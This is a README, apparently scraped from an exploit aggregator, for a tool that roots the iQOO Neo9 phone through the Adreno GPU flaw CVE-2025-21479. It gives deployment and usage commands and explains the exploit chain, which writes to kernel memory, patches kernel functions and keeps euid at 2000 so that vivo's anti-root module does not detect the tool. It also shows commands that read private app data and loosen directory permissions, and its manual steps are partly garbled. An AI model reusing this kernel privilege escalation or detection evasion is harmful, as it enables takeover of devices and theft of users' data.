## https://sploitus.com/exploit?id=D588D372-1BF3-5AC2-9829-495D0AE07D2A
# Neo9Root
> **iQOO Neo9 (PD2338C) Unlocked Without Unlocking β Caps-Root Tool** β An arbitrary physical write privilege scheme based on CVE-2025-21479 (Adreno GPU SDS)
[](LICENSE)
[]()
[]()
No need to unlock the bootloader, no need to flash the device, no need for Magisk. By exploiting the GPU vulnerability, you gain **kernel-level arbitrary physical write** capabilities. After patching key kernel functions, a **41-bit caps** root daemon is created, providing root privileges for `rootc` / `su`. **Key features**: euid remains 2000 to bypass vivoβs anti-root detection (`vr.ko`), root privileges are equivalent to uid=0 but with secure process identities. ---
## β¨ Features
- π **No need to unlock BL** β No interaction with the bootloader, partition, or dm-Verity; full RAM state, clean upon restart.
- 𧬠**True kernel-level root** β `CapEff: 000001ffffffffff` (41-bit full capabilities), no application-layer disguise.
- π‘οΈ **Bypasses vivoβs anti-root detection** β euid=2000 remains, `vr.ko` detection fails, zero crash of the device.
- βοΈ **Persistent daemon** β File queue + Base64 protocol, zero dependency on command execution, complete output passed through.
- π **Compatible layer** β `su` wrapper, MT manager / Termux can be directly called.
- π¦ **Zero persistence** β All patches are in RAM, clean state restored automatically upon restart.
## π± Supported Devices
| Item | Value |
|---|---|
| Device | iQOO Neo9 (PD2338C) |
| System | Android 15 |
| Kernel | `5.15.178-gaacdc35637c4-dirty` (GKIv1) |
| GPU | Adreno 740 (A7xx) |
| Memory Layout | Physical without KASLR (`stext_pa=0xa8010000`), VA overall slide |
> β οΈ Vulnerability exploitation depends on the specific kernel layout (symbol offsets, `VIVO_VMET_BREAK_KMI` feature, `vr.ko` behavior). **Other devices/kernels require adaptation**. ## π Quick Start
### Environment Requirements
- Windows + adb (or adb on any platform, script in PowerShell version)
- USB debugging enabled on the phone
### One-Click Deployment (Recommended)
```powershell
# Clone and run (adb needs to be in PATH; use $env:ADB to specify path)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1
```
The script will automatically: push the three-piece set β restart to obtain the cold window β multiple rounds of the exploit (approx. 50% success rate per round) β the daemon is ready β verification. ### Manual Deployment
```powershell
# 1. Push (only one time, persistent in /data/local/tmp)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"
# 2. Restart to obtain the cold window (after restart, run /data/local/tmp/exploit_daemon.log 2>&1 &")
# 4. Wait for completion (usually 10sβ3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# Output "ready" indicates success
## π οΈ Usage
### rootc β Execute arbitrary root commands
```powershell
# Simple command
adb shell "/data/local/tmp/rootc id"
# Complex command (Base64 encoding, avoid quotation issues)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"
```
### su β Compatible with MT manager / Termux
```bash
su -c "ls /data/adb" # Arbitrary root command
su -c "chown 0:0 /path/file" # Change file ownership to root:root
su # Interactive mode (stdin line by line)
```
**Termux Configuration**: For first-time use, root permissions required:
```bash
# Allow write permission to the queue directory + install su to Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"
```
**MT Manager**: Set β ROOT β Custom su path β `/data/local/tmp/su`
### Common Verifications
```bash
su -c id # uid=2000 works normally (see FAQ)
su -c "grep CapEff /proc/self/status" # 000001ffffffffff = full capabilities
su -c "ls /data/adb" # 700 root directory, normal shell denied
```
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x" # Root-exclusive operation
su -c "head -5 /proc/iomem" # Kernel physical memory layout
su -c "ls /data/data/" # Private data of any app
## π¬ Principle
CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE misclassification)
ββPrivilege escalation via CP_SMMU_TABLE_UPDATE β SMMUβs TTBR0 points to a fake page table
Any physical write (fake TT0: L1/L2/L3 page tables + 6GB anonymous page spraying hits)
ββpatch cap_bprm_creds_from_file at the entry point (mov w0,#0; ret) β Effective caps are retained after execution (normal commands can also use full caps)
ββpatch kptr_restrict = 0 β /proc/kallsyms is fully accessible
ββpatch vhangup stub (MODE=10 privilege escalation) β fsuid/fsgid=0 + 41-bit caps; euid remains 2000
ββfork to reside a daemon (File Queue Service)
ββrootc / su β (File Queue + B64) β Daemon β Any root command (full caps)
**Why euid=2000?** Vivooβs kernel has a built-in anti-root module βvr.koβ: Non-vrp processes with cred->euid==0 trigger a fatal crash (device restarts). MODE=10 privilege escalation deliberately **does not change euid**, only writes fsuid/fsgid + capsββvr.koβ cannot trigger this, but the kernelβs capable() check passes everything (true root capabilities).
## π Project Structure
neo9_root/
βββββ README.md # Documentation
βββββ LICENSE # MIT
βββββ exploit/ # Vulnerability exploitation
ββββββ exploit_vivo.c # Source code (STUB_MODE=10 + daemon + cap_bprm patch)
ββββββ exploit_vivo_neo9 # Compiled artifacts (aarch64 musl static)
ββββββ stubs/ # Privilege escalation stub assembly
βββββ client/ # Clients
ββββββ rootc.c / rootc # Root command clients (File Queue + B64)
ββββββ su # Su-compatible wrapper (MT/Termux)
βββββ scripts/ # Deployment scripts
ββββββ run_rootc_loop.ps1 # Recommended: Multi-trial automatic deployment
ββββββ run_root_final.ps1 # One-click deployment
βββββ tools/ # Kernel/module reverse-analysis scripts (vr.ko, etc.)
βββββ docs/ # Debugging records
ββββββ DEBUG_RECORD.md # Complete debugging records (crash root cause chain)
ββββββ EXPLOIT0_FIX.md # Exploit0 repair records
βββββ archive/ # Reference for failed solutions (setuid schemes, etc.)
## β οΈ Known Limitations and Notes
- **Invalidation upon restart**: All patches are in RAM; reinstallation is required after restart.
- **Cold window**: Exploit success depends on <3 minutes after reboot; within ~28 candidates before GPU freeze β Use βrun_rootc_loop.ps1β for multiple retries.
- **adb disconnection β crash**: GPU may become unresponsive during high loads, causing adb disconnection. Check with βcat /proc/uptimeβ (uptime continues to increase while screen remains normal = device not crashing).
- **uid=2000 display**: See principle section; design decision. Equivalent to root capabilities.
- **/system restricted by fstab**; /system is read-only (erofs + dm-verity), unable to modify persistently.
- **/data/local/tmp permissions**: In Termux, chmod 1777 required; this means any app can write to queue files (no issue if desired; restore chmod 771 if needed).
## β FAQ
**Q: Is this real root?** A: Yes. Kernelβs capable() check (CapEff enabled, chown 0:0, reading /proc/iomem, reading any app data) passes everythingβkernel recognizes you have root capabilities, but uid is 2000.
**Q: Will it brick the device?** A: No. No disk writes, no persistent modifications. Worst-case scenario: GPU freezes, then restart.
**Q: Does it support other models?** A: Requires adaptation (kernel layout, symbol offsets, vr.ko behavior is exclusive to PD2338C; works for vivo iqoo neo9 with Orange 5 system).
## π Disclaimer
This project is **only for security research and personal use**. Any consequences (including device damage, data loss, warranty invalidation) are the userβs responsibility. Please comply with local laws and use for legitimate purposes only.
## π Thanks
- [zhuowei/cheese](https://github.com/zhuowei/cheese) β Original GPU exploit framework
- [sarabpal-dev/cheese-cake](https://github.com/sarabpal-dev/cheese-cake) β Extended implementations
- Public research by Type010 / CyberMeowfia, etc. β Inspiration for ideas
## π License
[MIT](LICENSE)